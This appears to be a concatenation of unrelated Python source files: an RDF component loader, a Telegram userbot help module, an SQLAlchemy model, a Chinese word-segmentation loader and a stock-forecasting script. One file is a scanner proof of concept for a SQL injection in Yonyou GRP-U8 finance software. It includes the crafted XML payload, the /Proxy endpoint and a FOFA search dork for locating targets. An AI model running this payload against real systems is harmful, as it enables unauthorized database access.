        return any(type in LEAF_TYPES for type in component_types)

    def _create_leaf(self, component_name, component_types, component):
        order = next(self.graph.objects(component, VO.order))

        if VO.DataComponentWrapper in component_types:
            predicate = next(self.graph.objects(component, VO.dataComponentPredicate))
            data_component = next(self.graph.objects(component, VO.dataComponent))
            self._create_data_component(data_component)

            wrapper = DataComponentWrapper(component_name, order, predicate, data_component)
            self.components.append(wrapper)
            return wrapper
        else:
            predicate = self._load_content_component_predicate(component)
            content = self._load_content_component_content(component)

            if VO.Date in component_types:
                date = Date(component_name, order, predicate, content)
                self.components.append(date)
                return date

            elif VO.DateTime in component_types:
                date_time = DateTime(component_name, order, predicate, content)
                self.components.append(date_time)
                return date_time

            elif VO.Email in component_types:
                email = Email(component_name, order, predicate, content)
                self.components.append(email)
                return email

            elif VO.Time in component_types:
                time = Time(component_name, order, predicate, content)
                self.components.append(time)
                return time

            elif VO.URL in component_types:
                url = Url(component_name, order, predicate, content)
                self.components.append(url)
                return url

            elif VO.Content in component_types:
                c = Content(component_name, order, predicate, content)
                self.components.append(c)
                return c

            else:
                raise Exception('Unknown leaf type')

    def _create_node(self, component_name, component_types, component):
        order = next(self.graph.objects(component, VO.order))
        is_block = next(self.graph.objects(component, VO.isBlock))

        def create_children(predicate=VO.contains):
            children = []
            for child in self.graph.objects(component, predicate):
                children.append(self._create_component(child))
            return sorted(children, key=lambda c: c.order)

        if VO.Condition in component_types:
            condition_predicate = next(self.graph.objects(component, VO.conditionPredicate))
            condition_value = next(self.graph.objects(component, VO.conditionValue))
            contains_positive = create_children(VO.conditionContainsPositive)
            contains_negative = create_children(VO.conditionContainsNegative)

            container = Condition(component_name, order, is_block, condition_predicate, condition_value,
                                  contains_positive, contains_negative)
            self.components.append(container)
            return container

        elif VO.Container in component_types:
            container = Container(component_name, order, is_block, create_children())
            self.components.append(container)
            return container

        elif VO.Emphasis in component_types:
            emphasis = Emphasis(component_name, order, is_block, create_children())
            self.components.append(emphasis)
            return emphasis

        elif VO.Heading in component_types:
            heading = Heading(component_name, order, is_block, create_children())
            self.components.append(heading)
            return heading

        elif VO.IterativeContainer in component_types:
            iterative_container_predicate = next(self.graph.objects(component, VO.iterativeContainerPredicate))
            iterative_container = IterativeContainer(component_name, order, is_block, create_children(),
                                                     iterative_container_predicate)
            self.components.append(iterative_container)
            return iterative_container

        elif VO.Strong in component_types:
            strong = Strong(component_name, order, is_block, create_children())
            self.components.append(strong)
            return strong

        else:
            raise Exception('Unknown node type')

    def _load_content_component_predicate(self, component):
        for predicate in self.graph.objects(component, VO.contentPredicate):
            return predicate
        return None

    def _load_content_component_content(self, component):
        for text_content in self.graph.objects(component, VO.contentContent):
            return next(self.graph.objects(text_content, VO.textContentValue))
        return None

    def _data_component_exists(self, component_name):
        for data_component in self.data_components:
            if data_component.name == component_name:
                return True
        return False


from .. import loader, utils

import logging
import inspect

from telethon import functions, types
logger = logging.getLogger(__name__)
from telethon.tl.functions.channels import JoinChannelRequest

def register(cb):
    cb(HelpMod())

class HelpMod(loader.Module):
    """Prevents people sending you unsolicited private messages"""
    def __init__(self):
        super().__init__()
        self.name = _("Help")
        self.allmodules = None
        self.client = None

    async def supportcmd(self, message):
    	"""Joins the support chat"""
    	await self.client(JoinChannelRequest("https://t.me/friendlytgbot"))
    	await message.edit(_("Join to support chat"))

    async def client_ready(self, client, db):
    	self.client = client

    async def helpcmd(self, message):
        """Block this user to PM without being warned"""
        raph = "Available Commands in RaphielGang section:\n"
        uni = "Available Commands in Uniborg section:\n"
        ftg = "Available Commands in Friendly-Telegram section:\n"
        all = "Available Commands:\n"
        args = utils.get_args_raw(message)
        if not args:
        	await message.edit(
        	"Please choose a section to see your modules:"
        	"\n\n\n.help raph: Shows all your PP and PPE originated modules.\n"
        	"\n.help uni: Shows all your Uniborg originated modules.\n"
        	"\n.help ftg: Shows all your native modules.\n"
        	"\n.help all: Shows all your modules.")
        	return
        for mod in self.allmodules.modules:
        	if mod.name.find("RaphielGang") != -1:
        		raph += "\n\n" + mod.name + ": "
        		for cmd in mod.commands:
        			raph += "" + cmd + ", "
        		raph = raph[:-2:]
        		raph = raph.replace("Raphielgang Configuration Placeholder:", "")
        	if mod.name.find("UniBorg") != -1:
        		uni += "\n\n" + mod.name + ": "
        		for cmd in mod.commands:
        			uni += "" + cmd + ", "
        		uni = uni[:-2:]
        		uni = uni.replace("Uniborg Configuration Placeholder:", "")
        	if mod.name.find("UniBorg") == -1 and mod.name.find("RaphielGang") == -1:
        		ftg += "\n\n" + mod.name + ": "
        		for cmd in mod.commands:
        			ftg += "" + cmd + ", "
        		ftg = ftg[:-2:]
        		ftg = ftg.replace("Raphielgang Configuration Placeholder:", "")
        		ftg = ftg.replace("Uniborg Configuration Placeholder:", "")
        	all += "\n\n" + mod.name + ": "
        	for cmd in mod.commands:
        		all += "" + cmd + ", "
        	all = all[:-2:]
        if args == "uni":
        	await message.edit(uni)
        	return
        if args == "raph":
        	await message.edit(raph)
        	return
        if args == "ftg":
        	await message.edit(ftg)
        	return
        if args == "all":
        	await message.edit(all)
        	return
        else:
        	module = None
        	for mod in self.allmodules.modules:
        		if mod.name.lower() == args.lower():
        			module = mod
        	if module is None:
        		await message.edit("" + _("Invalid module name specified") + "")
        		return
        	reply = "" + _("Help for {}:").format(utils.escape_html(_(module.name))) + "\n  "
        	if module.__doc__:
        		reply += utils.escape_html(inspect.cleandoc(module.__doc__))
        	else:
        		logger.warning("Module %s is missing docstring!", module)
        	for name, fun in module.commands.items():
        		reply += f"\n  {name}\n"
        		if fun.__doc__:
        			reply += utils.escape_html("\n".join(["    " + x for x in
        			_(inspect.cleandoc(fun.__doc__)).splitlines()]))
        		else:
        			reply += _("There is no documentation for this command")
        	await utils.answer(message, reply)


#!/usr/bin/python3
""" Supplies_Requisition Module for Chicken Creed """
from models.base_model import BaseModel, Base
from models import storage_t
import sqlalchemy
from sqlalchemy import Column, String, DateTime, ForeignKey, Integer, Float
from sqlalchemy.orm import relationship

class SuppliesRequisition(BaseModel, Base):
    """ The supplies_requisition class, helps track movement
    of supplies to operators """
    if storage_t == 'db':
        __tablename__ = 'supplies_requisitions'
        supplies_id = Column(String(60), ForeignKey('supplies.id'), nullable=False)
        supplies = relationship('Supplies')
        operator_id = Column(String(60), ForeignKey('operators.id'), nullable=False)
        operator = relationship('Operator')
        batch_id = Column(String(60), ForeignKey('batches.id'), nullable=False)
        request_id = Column(String(60), ForeignKey('requests.id'), nullable=False)
        request = relationship('Request', back_populates='supplies_requisition')
        quantity = Column(Integer, nullable=False)
    else:
        supplies_id = ""
        operaor_id = ""
        batch_id = ""
        request_id = ""
        quantity = 0


# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()

class POC(POCBase):

    _info = {
        "author" : "jijue",                      # POC作者
        "version" : "1",                    # POC版本，默认是1
        "CreateDate" : "2021-06-09",        # POC创建时间
        "UpdateDate" : "2021-06-09",        # POC创建时间
        "PocDesc" : """
        略
        """,                                # POC描述，写更新描述，没有就不写

        "name" : "用友GRP-U8行政事业财务管理软件 SQL注入 CNNVD-201610-923",                        # 漏洞名称
        "VulnID" : "CNNVD-201610-923",                      # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
        "AppName" : "用友GRP-U8行政事业财务管理软件",                     # 漏洞应用名称
        "AppVersion" : "用友GRP-U8行政事业内控管理软件（新政府会计制度专版）",                  # 漏洞应用版本
        "VulnDate" : "2021-06-09",                    # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
        "VulnDesc" : """
            用友GRP-u8存在XXE漏洞，该漏洞源于应用程序解析XML输入时没有进制外部实体的加载，导致可加载外部SQL语句，以及命令执行
        """,                                # 漏洞简要描述

        "fofa-dork":"""
            title="用友GRP-U8行政事业内控管理软件"
        """,                     # fofa搜索语句
        "example" : "",                     # 存在漏洞的演示url，写一个就可以了
        "exp_img" : "",                      # 先不管
    }

    def _verify(self):
        """
        返回vuln

        存在漏洞：vuln = [True,html_source] # html_source就是页面源码

        不存在漏洞：vuln = [False,""]
        """
        vuln = [False,""]
        url = self.target + "/Proxy" # url自己按需调整
        data = """cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">select @@version,123321123321</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>"""

        headers = {"User-Agent":get_random_ua(),
                    "Connection":"close",
                    "Content-Type": "application/x-www-form-urlencoded",
                    }

        try:
            """
            检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
            """
            req = requests.post(url,data=data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
            if '<ROW COLUMN1="1"' in req.text and "</R9RESULT></R9PACKET>" in req.text :
                vuln = [True,req.text]
            else:
                vuln = [False,req.text]
        except Exception as e:
            raise e

        # 以下逻辑酌情使用
        if self._honeypot_check(vuln[1]) == True:
            vuln[0] = False

        return vuln

    def _attack(self):
        return self._verify()


import os
import pickle
import numpy as np
from utils import _get_label

class Data():
    def __init__(self, read_path, save_path):
        self.read_path=read_path
        self.save_path=save_path
        if os.path.exists(self.save_path+"data.pkl")==False:
            files = open(self.read_path, "r", encoding="utf-8")
            file_data = files.read().replace("\n", "  ")
            files.close()
            file_data_set = set(file_data)
            words_dict = dict(zip(file_data_set, range(len(file_data_set))))
            label_dict = {"b":0, "m":1, "s":2, "e":3}
            file_data_seg = [itr for itr in file_data.split(" ") if len(itr)>0]
            file_data_label = [_get_label(itr) for itr in file_data_seg]
            datas = "".join(file_data_seg)
            label = "".join(file_data_label)
            pkl_file = open(self.save_path+"data.pkl", "wb")
            pickle.dump([datas, label, words_dict, label_dict], pkl_file)
            pkl_file.close()
        else:
            pkl_file = open(self.save_path+"data.pkl", "rb")
            datas, label, words_dict, label_dict = pickle.load(pkl_file)
            pkl_file.close()
        self.words_dict = words_dict
        self.label_dict = label_dict
        self.datas = [self.words_dict[itr] for itr in datas]
        self.label = [self.label_dict[itr] for itr in label]
        self.index = 0
        self.length = len(self.datas)
        self.n_words = len(self.words_dict)
    def batch_data(self, batch_size=32, length=50):
        datas = []
        label = []
        for _ in range(batch_size):
            datas.append(self.datas[self.index:self.index+length])
            label.append(self.label[self.index:self.index+length])
            if self.index+2*length>=self.length:
                self.index = 0
            else:
                self.index += length
        return datas, label
    def batch_iter(self, batch_size=64):
        """生成批次数据"""
        data_len = len(self.datas)
        num_batch = int((data_len - 1) / batch_size) + 1

        indices = np.random.permutation(np.arange(data_len))
        x_shuffle = self.datas[indices]
        y_shuffle = self.label[indices]

        for i in range(num_batch):
            start_id = i * batch_size
            end_id = min((i + 1) * batch_size, data_len)
            yield x_shuffle[start_id:end_id], y_shuffle[start_id:end_id]
    def get_id(self, words):
        return [self.words_dict[itr] for itr in words]
    def get_label(self, labelid):
        lbdic = {0:"b", 1:"m", 2:"s", 3:"e"}
        return "".join([lbdic[itr] for itr in labelid])
    def seg_words(self, words, labelid):
        wrd = []
        for w, ids in zip(words, labelid):
            if ids==2 or ids==3:
                wrd.append(w)
                wrd.append(" ")
            else:
                wrd.append(w)
        return "".join(wrd)


from yahoo_finance import Share
from pandas import Series,DataFrame
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm
import statsmodels.api as sm
from statsmodels.graphics.api import qqplot
import statsmodels.tsa.stattools as ts
from scipy import  stats
import pywt

yaho = Share('YHOO') #choose stock, YAHOO, GOLD
startday='2015-11-1' #choose first day
endday='2016-12-15' #choose end day
#train = 15 #How many data for train, 9 is the least.

#draw
fig=plt.figure()
ax1=fig.add_subplot(711)
ax2=fig.add_subplot(712)
ax3=fig.add_subplot(713)
ax4=fig.add_subplot(714)
ax5=fig.add_subplot(715)
ax6=fig.add_subplot(716)
ax7=fig.add_subplot(717)

#Data processing
StockDate = DataFrame(yaho.get_historical(startday, endday))
StockDate.index = StockDate.Date
StockDate = DataFrame.sort_index(StockDate) #sort

test = DataFrame(yaho.get_historical(startday, '2016-12-1'))
test.index = test.Date
test = DataFrame.sort_index(test)
test = test['Close']
test=test.astype(float)
test.plot(ax=ax5)

#L=len(StockDate)
#total_predict_data=L-train

'''
#draw
Data = StockDate.drop(['Date','Symbol','Adj_Close'],axis=1)
Data=Data.astype(float)
ax=Data.plot(secondary_y=['Volume'])
ax.set_ylabel('Value')
ax.right_ax.set_ylabel('Volume')
plt.grid(True)
plt.show()
#Create more data
value = pd.Series(Data['Open']-Data['Close'],index=Data.index)
#Data['DOP'] = value #Difference between Open and Close
#Data['DHL'] = Data['High']-Data['Low'] #Difference between High and Low
value[value>=0]=0 #0 means fall
value[value<0]=1 #1 means rise
print(value)
'''
#ARIMA
Close_original = StockDate['Close']
Close_original=Close_original.astype(float)
#Close.plot()
close=pywt.dwt(Close_original, 'db4') #DB4,Wavelet decomposition
Close_db4=pd.Series(close[0])
Close_db4=Close_db4-14
Close_db4.index = pd.Index(sm.tsa.datetools.dates_from_range('2001','2145'))
#aa=Close.diff(3)

#draw
#aa.plot(ax=ax4)
Close_db4.plot(ax=ax2)
Close=Close_db4.diff(4) #stationary time series
Close=Close[4:]

print("Augmented Dickey-Fuller test:",ts.adfuller(Close,4)) #Augmented Dickey-Fuller test
Close.plot(ax=ax3)
Close_original.plot(ax=ax1)

sm.graphics.tsa.plot_acf(Close,lags=40,ax=ax6) #ARIMA,q
sm.graphics.tsa.plot_pacf(Close,lags=40,ax=ax7) #ARIMA,p
#print(Close)

Arma = sm.tsa.ARMA(Close,order=(9,3)).fit(disp=-1, method='mle')
print(Arma.aic,Arma.bic,Arma.hqic)

#predict
Arma_stock=Arma.predict()
Arma_stock.plot(ax=ax3)
predict_stock = Arma.predict('2137','2148',dynamic=True)
predict_stock.plot(ax=ax3)

#reduce diff()
L=len(Arma_stock)
i=0
while i<L:
	if(i<4):
		Arma_stock[i]=Arma_stock[i]+Close_db4[i]
	else:
		Arma_stock[i] = Arma_stock[i]+Arma_stock[i-4]
	i=i+1
Arma_stock.plot(ax=ax4)
L=len(predict_stock)
i=0
while i<L:
	if(i<4):
		predict_stock[i] = predict_stock[i]+Arma_stock[-4+i]
	else:
		predict_stock[i] = predict_stock[i]+predict_stock[i-4]
	i=i+1
predict_stock.plot(ax=ax4)

plt.grid(True)
plt.show()

'''
#Data['Value']=value
#SVM
correct = 0
train_original=train
while train<L:
	Data_train=Data[train-train_original:train]
	value_train = value[train-train_original:train]
	Data_predict=Data[train:train+1]
	value_real = value[train:train+1]
	#print(Data_train)
	#print(value_train)
	print(train)
	#classifier =svm.SVC(kernel='poly') #52% need optimization, some data may expand to infinite demension
	#classifier =svm.SVC(kernel='sigmoid') #49%
	#classifier =svm.SVC(kernel='precomputed') #bug
	#classifier =svm.SVC() #kernel='rbf'
	classifier =svm.LinearSVC() #53%
	classifier.fit(Data_train,value_train)
	print(train)
	value_predict=classifier.predict(Data_predict)
	print(train)
	#print("value_real = ",value_real[0])
	#print("value_predict = ",value_predict)
	if(value_real[0]==int(value_predict)):
		correct=correct+1
		print(correct)
	train = train+1
correct=correct/total_predict_data*100
print("Correct =",correct,"%")

#test SVM
print("support_:",classifier.support_)
print("support_vectors_:",classifier.support_vectors_)
print("n_support_:",classifier.n_support_)
'''